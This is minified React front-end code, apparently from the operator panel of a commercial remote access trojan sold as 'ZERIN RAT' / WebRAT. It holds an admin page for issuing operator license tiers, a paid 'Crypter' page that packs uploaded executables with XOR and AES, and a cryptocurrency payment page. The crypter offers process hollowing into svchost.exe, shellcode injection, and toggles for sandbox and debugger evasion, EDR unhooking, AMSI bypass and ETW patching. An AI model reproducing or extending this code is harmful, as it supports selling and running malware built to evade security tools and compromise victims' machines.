X()}catch(K){u(K instanceof Error?K.message:"Failed to revoke key")}},xe=async()=>{if(A){D(!0),u("");try{await eA(A.id,P),O(null),await se()}catch(C){u(C instanceof Error?C.message:"Failed to extend license")}finally{D(!1)}}},Y=async()=>{if(M){H(!0),u("");try{await tA(M.id,R),F(null),await se()}catch(C){u(C instanceof Error?C.message:"Failed to set tier")}finally{H(!1)}}},ee=()=>{navigator.clipboard.writeText(j),N(!0),setTimeout(()=>N(!1),2e3)};return s.jsxs("div",{className:"p-6 space-y-6",children:[s.jsx("div",{className:"flex items-center justify-between",children:s.jsxs("div",{children:[s.jsx("h1",{className:"text-xl font-display font-bold text-zerin-text",children:"Administration"}),s.jsx("p",{className:"text-sm text-zerin-text-muted mt-1",children:"Manage license keys and operators"})]})}),s.jsxs("div",{className:"flex gap-1 border-b border-zerin-panel-border",children:[s.jsx("button",{onClick:()=>t("keys"),className:`px-4 py-2.5 text-sm font-medium transition-colors ${e==="keys"?"text-zerin-accent border-b-2 border-zerin-accent":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"License Keys"}),s.jsx("button",{onClick:()=>t("operators"),className:`px-4 py-2.5 text-sm font-medium transition-colors ${e==="operators"?"text-zerin-accent border-b-2 border-zerin-accent":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"Operators"})]}),c&&s.jsxs("div",{className:"p-3 text-sm text-red-400 bg-red-500/10 border border-red-500/20",children:[c,s.jsx("button",{onClick:()=>u(""),className:"ml-2 text-red-300 hover:text-red-200",children:"dismiss"})]}),o?s.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"Loading..."}):e==="keys"?s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("button",{onClick:()=>{f(!d),k("")},className:`px-3 py-1.5 text-sm font-medium text-zerin-accent border border-zerin-accent/30\r
hover:bg-zerin-accent/10 transition-colors`,children:d?"Cancel":"Generate Key"}),s.jsx("button",{onClick:X,className:`px-3 py-1.5 text-sm text-zerin-text-dim border border-zerin-panel-border\r
hover:bg-zerin-panel-hover transition-colors`,children:"Refresh"})]}),d&&s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4 space-y-4",children:[s.jsxs("form",{onSubmit:ue,className:"space-y-3",children:[s.jsxs("div",{className:"flex items-end gap-4",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Duration"}),s.jsx("input",{type:"text",value:m,onChange:C=>h(C.target.value),placeholder:"7d, 24h, 30m, lifetime",className:`w-40 px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r
text-zerin-text placeholder-zerin-text-muted focus:border-zerin-accent\r
focus:outline-none`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Max Agents (0 = unlimited)"}),s.jsx("input",{type:"number",value:x,onChange:C=>g(C.target.value),min:"0",className:`w-32 px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r
text-zerin-text focus:border-zerin-accent focus:outline-none`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Tier"}),s.jsxs("div",{className:"flex gap-1",children:[s.jsx("button",{type:"button",onClick:()=>v("rat"),className:`px-3 py-1.5 text-xs font-mono border transition-colors ${y==="rat"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT"}),s.jsx("button",{type:"button",onClick:()=>v("rat_crypter"),className:`px-3 py-1.5 text-xs font-mono border transition-colors ${y==="rat_crypter"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT + Crypter"})]})]}),s.jsx("button",{type:"submit",disabled:b,className:`px-4 py-1.5 text-sm font-medium bg-zerin-accent text-black\r
hover:bg-zerin-accent/90 disabled:opacity-50 transition-colors`,children:b?"Generating...":"Generate"})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-xs text-zerin-text-muted mr-1",children:"Presets:"}),["1d","7d","30d","90d","365d","lifetime"].map(C=>s.jsx("button",{type:"button",onClick:()=>h(C),className:`px-2 py-0.5 text-xs font-mono border transition-colors ${m===C?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim hover:border-zerin-text-muted"}`,children:C},C))]})]}),j&&s.jsxs("div",{className:"space-y-2",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("code",{className:`flex-1 block p-3 text-xs font-mono bg-zerin-bg border border-zerin-accent/30\r
text-zerin-accent break-all select-all`,children:j}),s.jsx("button",{onClick:ee,className:`px-3 py-2 text-xs text-zerin-text-dim border border-zerin-panel-border\r
hover:bg-zerin-panel-hover transition-colors shrink-0`,children:S?"Copied!":"Copy"})]}),s.jsx("p",{className:"text-xs text-amber-400",children:"Copy this key now — it cannot be retrieved later."})]})]}),s.jsx("div",{className:"border border-zerin-panel-border overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"bg-zerin-panel text-zerin-text-muted text-xs uppercase tracking-wider",children:[s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Key ID"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Status"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Tier"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Created"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Expires"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Activated By"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Uses"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Source"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Actions"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:n.length===0?s.jsx("tr",{children:s.jsx("td",{colSpan:9,className:"px-4 py-8 text-center text-zerin-text-muted",children:"No license keys found"})}):n.map(C=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[s.jsxs("td",{className:"px-4 py-3 font-mono text-xs text-zerin-text-dim",title:C.key_id,children:[C.key_id.substring(0,8),"..."]}),s.jsx("td",{className:"px-4 py-3",children:s.jsx(T2,{status:C.status})}),s.jsx("td",{className:"px-4 py-3",children:s.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${C.tier==="rat_crypter"?"bg-purple-500/10 text-purple-400 border-purple-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:C.tier==="rat_crypter"?"RAT + Crypter":"RAT"})}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:kp(C.created_at)}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:kp(C.expires_at)}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:C.activated_by||"—"}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim font-mono",children:C.use_count}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-muted text-xs",children:C.generated_by}),s.jsx("td",{className:"px-4 py-3",children:C.status!=="revoked"&&C.status!=="expired"?z===C.key_id?s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("button",{onClick:()=>ge(C.key_id),className:`px-2 py-1 text-xs text-red-400 border border-red-500/30\r
hover:bg-red-500/10 transition-colors`,children:"Confirm"}),s.jsx("button",{onClick:()=>_(null),className:`px-2 py-1 text-xs text-zerin-text-muted\r
hover:text-zerin-text-dim transition-colors`,children:"Cancel"})]}):s.jsx("button",{onClick:()=>_(C.key_id),className:`px-2 py-1 text-xs text-red-400 border border-red-500/20\r
hover:bg-red-500/10 transition-colors`,children:"Revoke"}):s.jsx("span",{className:"text-xs text-zerin-text-muted",children:"—"})})]},C.key_id))})]})})]}):s.jsxs("div",{className:"space-y-4",children:[s.jsx("div",{className:"flex items-center gap-3",children:s.jsx("button",{onClick:se,className:`px-3 py-1.5 text-sm text-zerin-text-dim border border-zerin-panel-border\r
hover:bg-zerin-panel-hover transition-colors`,children:"Refresh"})}),s.jsx("div",{className:"border border-zerin-panel-border overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"bg-zerin-panel text-zerin-text-muted text-xs uppercase tracking-wider",children:[s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Username"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Role"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Tier"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"License Status"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"License Expires"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Created"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Actions"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.length===0?s.jsx("tr",{children:s.jsx("td",{colSpan:7,className:"px-4 py-8 text-center text-zerin-text-muted",children:"No operators found"})}):i.map(C=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[s.jsx("td",{className:"px-4 py-3 text-zerin-text font-medium",children:C.username}),s.jsx("td",{className:"px-4 py-3",children:s.jsx(mV,{role:C.role})}),s.jsx("td",{className:"px-4 py-3",children:s.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${C.tier==="rat_crypter"?"bg-purple-500/10 text-purple-400 border-purple-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:C.tier==="rat_crypter"?"RAT + Crypter":"RAT"})}),s.jsx("td",{className:"px-4 py-3",children:C.license_status?s.jsx(T2,{status:C.license_status}):s.jsx("span",{className:"text-xs text-zerin-text-muted",children:"none"})}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:C.license_expires_at?kp(C.license_expires_at):"—"}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:C.created_at}),s.jsx("td",{className:"px-4 py-3",children:s.jsxs("div",{className:"flex items-center gap-1.5",children:[s.jsx("button",{onClick:()=>{O(C),I("30d")},className:`px-2 py-1 text-xs text-emerald-400 border border-emerald-500/20\r
hover:bg-emerald-500/10 transition-colors`,children:"Add Time"}),s.jsx("button",{onClick:()=>{F(C),W(C.tier==="rat_crypter"?"rat":"rat_crypter")},className:`px-2 py-1 text-xs text-purple-400 border border-purple-500/20\r
hover:bg-purple-500/10 transition-colors`,children:"Set Tier"})]})})]},C.id))})]})})]}),A&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>O(null),children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 w-96 space-y-4",onClick:C=>C.stopPropagation(),children:[s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text",children:["Add Time — ",s.jsx("span",{className:"text-zerin-accent",children:A.username})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Duration to add"}),s.jsx("input",{type:"text",value:P,onChange:C=>I(C.target.value),placeholder:"7d, 30d, 365d, lifetime",className:`w-full px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r
text-zerin-text placeholder-zerin-text-muted focus:border-zerin-accent focus:outline-none`})]}),s.jsx("div",{className:"flex flex-wrap gap-1.5",children:["7d","30d","90d","365d","lifetime"].map(C=>s.jsx("button",{onClick:()=>I(C),className:`px-2.5 py-1 text-xs font-mono border transition-colors ${P===C?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:C},C))}),s.jsxs("div",{className:"flex gap-2 pt-2",children:[s.jsx("button",{onClick:xe,disabled:U,className:`flex-1 px-4 py-2 text-sm font-medium bg-emerald-600 text-white\r
hover:bg-emerald-700 disabled:opacity-50 transition-colors`,children:U?"Extending...":"Add Time"}),s.jsx("button",{onClick:()=>O(null),className:`px-4 py-2 text-sm text-zerin-text-muted border border-zerin-panel-border\r
hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"})]})]})}),M&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>F(null),children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 w-96 space-y-4",onClick:C=>C.stopPropagation(),children:[s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text",children:["Set Tier — ",s.jsx("span",{className:"text-zerin-accent",children:M.username})]}),s.jsxs("div",{className:"flex gap-2",children:[s.jsx("button",{onClick:()=>W("rat"),className:`flex-1 px-4 py-2.5 text-sm font-mono border transition-colors ${R==="rat"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT"}),s.jsx("button",{onClick:()=>W("rat_crypter"),className:`flex-1 px-4 py-2.5 text-sm font-mono border transition-colors ${R==="rat_crypter"?"border-purple-500/50 bg-purple-500/10 text-purple-400":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT + Crypter"})]}),s.jsxs("div",{className:"flex gap-2 pt-2",children:[s.jsx("button",{onClick:Y,disabled:$,className:`flex-1 px-4 py-2 text-sm font-medium bg-purple-600 text-white\r
hover:bg-purple-700 disabled:opacity-50 transition-colors`,children:$?"Updating...":"Update Tier"}),s.jsx("button",{onClick:()=>F(null),className:`px-4 py-2 text-sm text-zerin-text-muted border border-zerin-panel-border\r
hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"})]})]})})]})}function xV(){const{isAdmin:e}=ls(),n=aj()==="rat_crypter"||e,[r,i]=p.useState(null),[a,o]=p.useState("runpe"),[l,c]=p.useState("C:\\Windows\\System32\\svchost.exe"),[u,d]=p.useState(0),[f,m]=p.useState(!0),[h,x]=p.useState(!0),[g,y]=p.useState(!0),[v,b]=p.useState(!0),[w,j]=p.useState(!0),[k,S]=p.useState(!1),[N,z]=p.useState(0),[_,A]=p.useState(""),[O,P]=p.useState(!1),I=p.useRef(null),U=p.useCallback(M=>{M.preventDefault(),P(!1);const F=M.dataTransfer.files[0];F&&i(F)},[]),D=p.useCallback(async()=>{if(!(!r||k)){S(!0),A(""),z(5);try{const M=new FormData;M.append("file",r),M.append("mode",a),M.append("target_process",l),M.append("sleep_seconds",u.toString()),M.append("anti_sandbox",f.toString()),M.append("anti_debug",h.toString()),M.append("unhook_ntdll",g.toString()),M.append("amsi_bypass",v.toString()),M.append("etw_patch",w.toString()),z(20);const F=setInterval(()=>{z(H=>Math.min(H+5,85))},2e3),R=await GE(M);clearInterval(F),z(100);const W=URL.createObjectURL(R),$=document.createElement("a");$.href=W,$.download=r.name.replace(/\.exe$/i,"")+"_crypted.exe",document.body.appendChild($),$.click(),document.body.removeChild($),URL.revokeObjectURL(W),setTimeout(()=>z(0),2e3)}catch(M){A(M.message||"Build failed"),z(0)}finally{S(!1)}}},[r,k,a,l,u,f,h,g,v,w]);return n?s.jsxs("div",{className:"p-6 max-w-4xl mx-auto",children:[s.jsxs("div",{className:"flex items-center gap-3 mb-6",children:[s.jsx("svg",{className:"w-5 h-5 text-zerin-accent",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75 11.25 15 15 9.75m-3-7.036A11.959 11.959 0 0 1 3.598 6 11.99 11.99 0 0 0 3 9.749c0 5.592 3.824 10.29 9 11.623 5.176-1.332 9-6.03 9-11.622 0-1.31-.21-2.571-.598-3.751h-.152c-3.196 0-6.1-1.248-8.25-3.285Z"})}),s.jsx("h1",{className:"font-display text-xl font-bold text-zerin-text",children:"Crypter"}),s.jsx("span",{className:"text-[10px] font-mono text-zerin-accent/70 border border-zerin-accent/20 px-1.5 py-0.5",children:"XOR + AES-256"})]}),s.jsxs("div",{className:"grid lg:grid-cols-2 gap-6",children:[s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:`relative border-2 border-dashed transition-colors duration-200 p-8 text-center cursor-pointer
${O?"border-zerin-accent bg-zerin-accent/5":"border-zerin-panel-border hover:border-zerin-panel-border-hover"}
${r?"bg-zerin-accent/5 border-zerin-accent/30":""}`,onDragOver:M=>{M.preventDefault(),P(!0)},onDragLeave:()=>P(!1),onDrop:U,onClick:()=>{var M;return(M=I.current)==null?void 0:M.click()},children:[s.jsx("input",{ref:I,type:"file",accept:".exe",className:"hidden",onChange:M=>{var R;const F=(R=M.target.files)==null?void 0:R[0];F&&i(F)}}),r?s.jsxs("div",{children:[s.jsx("svg",{className:"w-8 h-8 mx-auto mb-2 text-zerin-accent",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75 11.25 15 15 9.75M21 12a9 9 0 1 1-18 0 9 9 0 0 1 18 0Z"})}),s.jsx("p",{className:"font-mono text-sm text-zerin-text",children:r.name}),s.jsxs("p",{className:"font-mono text-xs text-zerin-text-muted mt-1",children:[(r.size/1024).toFixed(1)," KB"]})]}):s.jsxs("div",{children:[s.jsx("svg",{className:"w-8 h-8 mx-auto mb-2 text-zerin-text-muted",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 0 0 5.25 21h13.5A2.25 2.25 0 0 0 21 18.75V16.5m-13.5-9L12 3m0 0 4.5 4.5M12 3v13.5"})}),s.jsx("p",{className:"text-sm text-zerin-text-dim",children:"Drop a .exe here or click to browse"}),s.jsx("p",{className:"text-xs text-zerin-text-muted mt-1",children:"Max 50 MB"})]})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-3 uppercase tracking-wider",children:"Injection Mode"}),s.jsxs("div",{className:"grid grid-cols-2 gap-2",children:[s.jsxs("button",{onClick:()=>o("runpe"),className:`p-3 text-left border transition-colors ${a==="runpe"?"border-zerin-accent bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-dim hover:border-zerin-panel-border-hover"}`,children:[s.jsx("div",{className:"font-mono text-sm font-semibold",children:"RunPE"}),s.jsx("div",{className:"text-[11px] text-zerin-text-muted mt-0.5",children:"Process Hollowing"})]}),s.jsxs("button",{onClick:()=>o("shellcode"),className:`p-3 text-left border transition-colors ${a==="shellcode"?"border-zerin-accent bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-dim hover:border-zerin-panel-border-hover"}`,children:[s.jsx("div",{className:"font-mono text-sm font-semibold",children:"Shellcode"}),s.jsx("div",{className:"text-[11px] text-zerin-text-muted mt-0.5",children:"VirtualAlloc + Thread"})]})]})]}),a==="runpe"&&s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-2 uppercase tracking-wider",children:"Target Process"}),s.jsx("input",{type:"text",value:l,onChange:M=>c(M.target.value),className:"w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2 text-sm font-mono text-zerin-text focus:border-zerin-accent focus:outline-none"})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-2 uppercase tracking-wider",children:"Sleep Delay (seconds)"}),s.jsx("input",{type:"number",min:0,max:300,value:u,onChange:M=>d(Math.max(0,parseInt(M.target.value)||0)),className:"w-24 bg-zerin-bg border border-zerin-panel-border px-3 py-2 text-sm font-mono text-zerin-text focus:border-zerin-accent focus:outline-none"}),s.jsx("span",{className:"text-xs text-zerin-text-muted ml-2",children:"0 = no delay"})]})]}),s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-3 uppercase tracking-wider",children:"Evasion Suite"}),s.jsx("div",{className:"grid grid-cols-2 gap-3",children:[{key:"anti_sandbox",label:"Anti-Sandbox",desc:"VM/sandbox detection",value:f,set:m},{key:"anti_debug",label:"Anti-Debug",desc:"Debugger detection",value:h,set:x},{key:"unhook_ntdll",label:"NTDLL Unhook",desc:"Remove EDR hooks",value:g,set:y},{key:"amsi_bypass",label:"AMSI Bypass",desc:"Patch AmsiOpenSession",value:v,set:b},{key:"etw_patch",label:"ETW Patch",desc:"Disable ETW tracing",value:w,set:j}].map(({key:M,label:F,desc:R,value:W,set:$})=>s.jsxs("label",{className:`flex items-start gap-2.5 p-2.5 border cursor-pointer transition-colors ${W?"border-zerin-accent/30 bg-zerin-accent/5":"border-zerin-panel-border hover:border-zerin-panel-border-hover"}`,children:[s.jsx("input",{type:"checkbox",checked:W,onChange:H=>$(H.target.checked),className:"mt-0.5 accent-zerin-accent"}),s.jsxs("div",{children:[s.jsx("div",{className:"text-sm font-mono text-zerin-text",children:F}),s.jsx("div",{className:"text-[11px] text-zerin-text-muted",children:R})]})]},M))})]}),s.jsxs("div",{className:"space-y-3",children:[s.jsx("button",{onClick:D,disabled:!r||k,className:`w-full py-3 font-mono font-semibold text-sm transition-all duration-300 ${!r||k?"bg-zerin-panel border border-zerin-panel-border text-zerin-text-muted cursor-not-allowed":"bg-zerin-accent text-[#04040a] hover:shadow-[0_0_20px_rgba(6,182,212,0.3)]"}`,children:k?"Crypting...":"Crypt"}),(k||N>0)&&s.jsxs("div",{children:[s.jsx("div",{className:"h-1 bg-zerin-panel-border overflow-hidden",children:s.jsx("div",{className:"h-full bg-zerin-accent transition-all duration-500",style:{width:`${N}%`}})}),s.jsxs("div",{className:"flex justify-between mt-1",children:[s.jsx("span",{className:"text-[10px] font-mono text-zerin-text-muted",children:N<20?"Preparing...":N<50?"Encrypting payload...":N<85?"Compiling stub...":N<100?"Finalizing...":"Complete!"}),s.jsxs("span",{className:"text-[10px] font-mono text-zerin-text-muted",children:[N,"%"]})]})]}),_&&s.jsx("div",{className:"p-3 border border-red-500/20 bg-red-500/5 text-red-400 text-sm font-mono",children:_})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4 text-xs text-zerin-text-muted space-y-1.5 font-mono",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-zerin-accent",children:"*"}),s.jsx("span",{children:"XOR + AES-256-CBC layered encryption"})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-zerin-accent",children:"*"}),s.jsx("span",{children:"Random keys per build — no shared signatures"})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-zerin-accent",children:"*"}),s.jsx("span",{children:"Fire-and-forget — no files stored on server"})]})]})]})]})]}):s.jsx("div",{className:"p-6 max-w-2xl mx-auto mt-20",children:s.jsxs("div",{className:"relative bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsxs("div",{className:"px-8 py-12 text-center",children:[s.jsx("svg",{className:"w-12 h-12 mx-auto mb-4 text-zerin-text-muted",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M16.5 10.5V6.75a4.5 4.5 0 1 0-9 0v3.75m-.75 11.25h10.5a2.25 2.25 0 0 0 2.25-2.25v-6.75a2.25 2.25 0 0 0-2.25-2.25H6.75a2.25 2.25 0 0 0-2.25 2.25v6.75a2.25 2.25 0 0 0 2.25 2.25Z"})}),s.jsx("h2",{className:"font-display text-xl font-bold text-zerin-text mb-2",children:"Crypter — Premium Feature"}),s.jsx("p",{className:"text-zerin-text-muted text-sm mb-6 max-w-md mx-auto",children:"The PE crypter is available with the WebRAT + Crypter license. Encrypt any .exe with layered XOR + AES encryption, RunPE / shellcode injection, and configurable evasion features."}),s.jsx(dt,{to:"/#pricing",className:"inline-block bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-6 py-2.5 hover:shadow-[0_0_20px_rgba(6,182,212,0.3)] transition-all duration-300",children:"Upgrade to WebRAT + Crypter"})]})]})})}async function vV(e){const t=await fetch(`/api/payments/${e}/status`);if(!t.ok)throw new Error("Payment not found");return t.json()}const gV={pending:{label:"Awaiting Payment",color:"text-amber-400"},waiting:{label:"Waiting for Confirmation",color:"text-amber-400"},confirming:{label:"Confirming...",color:"text-blue-400"},sending:{label:"Processing...",color:"text-blue-400"},partially_paid:{label:"Partially Paid",color:"text-amber-400"},confirmed:{label:"Confirmed",color:"text-emerald-400"},finished:{label:"Complete",color:"text-emerald-400"},failed:{label:"Failed",color:"text-red-400"},expired:{label:"Expired",color:"text-zinc-400"},refunded:{label:"Refunded",color:"text-zinc-400"}};function yV(){const{id:e}=qo(),[t,n]=p.useState(null),[r,i]=p.useState(""),[a,o]=p.useState(!1),l=p.useCallback(async()=>{if(e)try{const f=await vV(e);n(f)}catch{i("Payment not found")}},[e]);p.useEffect(()=>{l();const f=setInterval(l,5e3);return()=>clearInterval(f)},[l]);const c=(t==null?void 0:t.status)==="finished"||(t==null?void 0:t.status)==="confirmed"||(t==null?void 0:t.status)==="failed"||(t==null?void 0:t.status)==="expired"||(t==null?void 0:t.status)==="refunded";p.useEffect(()=>{},[c]);const u=()=>{t!=null&&t.license_key&&(navigator.clipboard.writeText(t.license_key),o(!0),setTimeout(()=>o(!1),2e3))},d=t?gV[t.status]||{label:t.status,color:"text-zinc-400"}:null;return s.jsxs("div",{className:"relative min-h-screen bg-[#04040a] text-zerin-text overflow-x-hidden",children:[s.jsx("div",{className:"fixed top-0 left-1/2 -translate-x-1/2 w-[800px] h-[500px] pointer-events-none",style:{background:"radial-gradient(ellipse at center, rgba(6,182,212,0.03) 0%, transparent 70%)"}}),s.jsx("nav",{className:"relative z-10 border-b border-[#1a1a22] bg-[#04040a]/80 backdrop-blur-xl",children:s.jsxs("div",{className:"max-w-6xl mx-auto px-6 h-16 flex items-center justify-between",children:[s.jsxs(dt,{to:"/",className:"flex items-center gap-3",children:[s.jsx("span",{className:"font-display font-bold text-lg tracking-tight text-zerin-text",children:"ZERIN"}),s.jsx("span",{className:"text-[9px] font-mono tracking-[0.15em] border border-zerin-accent/25 text-zerin-accent/70 px-1.5 py-0.5 leading-none",children:"RAT"})]}),s.jsx(dt,{to:"/",className:"text-zerin-text-dim hover:text-zerin-text text-sm font-mono transition-colors px-3 py-1.5",children:"Back"})]})}),s.jsx("div",{className:"relative z-10 flex items-center justify-center min-h-[calc(100vh-64px)] px-6 py-12",children:s.jsx("div",{className:"w-full max-w-lg",children:r?s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-red-400/60 uppercase mb-3",children:"Error"}),s.jsx("p",{className:"text-zerin-text-muted mb-8",children:r}),s.jsx(dt,{to:"/",className:"border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-6 py-2.5 transition-all duration-300 inline-block",children:"Go Home"})]}):t?s.jsxs("div",{className:"relative bg-[#08080c] border border-[#1a1a22] overflow-hidden",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsx("div",{className:"border-b border-[#1a1a22] px-6 py-4",children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-zerin-text-muted/60 uppercase",children:"Payment Status"}),s.jsxs("div",{className:"flex items-center gap-2",children:[!c&&s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent animate-pulse-dot"}),s.jsx("span",{className:`font-mono text-[12px] font-semibold ${d==null?void 0:d.color}`,children:d==null?void 0:d.label})]})]})}),s.jsxs("div",{className:"px-6 py-6 space-y-6",children:[s.jsxs("div",{className:"space-y-3",children:[s.jsxs("div",{className:"flex justify-between items-center",children:[s.jsx("span",{className:"text-[13px] text-zerin-text-muted",children:"Order"}),s.jsxs("span",{className:"font-mono text-[12px] text-zerin-text-dim",children:[t.payment_id.substring(0,8),"..."]})]}),s.jsxs("div",{className:"flex justify-between items-center",children:[s.jsx("span",{className:"text-[13px] text-zerin-text-muted",children:"Amount"}),s.jsxs("span",{className:"font-mono text-[14px] text-zerin-text font-semibold",children:["$",t.amount," ",t.currency.toUpperCase()]})]}),s.jsxs("div",{className:"flex justify-between items-center",children:[s.jsx("span",{className:"text-[13px] text-zerin-text-muted",children:"Product"}),s.jsx("span",{className:"text-[13px] text-zerin-text-dim",children:t.tier==="rat_crypter"?"Lifetime License + Crypter":"Lifetime License"})]})]}),!c&&s.jsxs("div",{children:[s.jsx("div",{className:"h-[2px] bg-[#1a1a22] overflow-hidden",children:s.jsx("div",{className:"h-full bg-zerin-accent transition-all duration-1000",style:{width:t.status==="waiting"?"25%":t.status==="confirming"?"50%":t.status==="sending"?"75%":t.status==="partially_paid"?"40%":"10%",animation:"pulse 2s ease-in-out 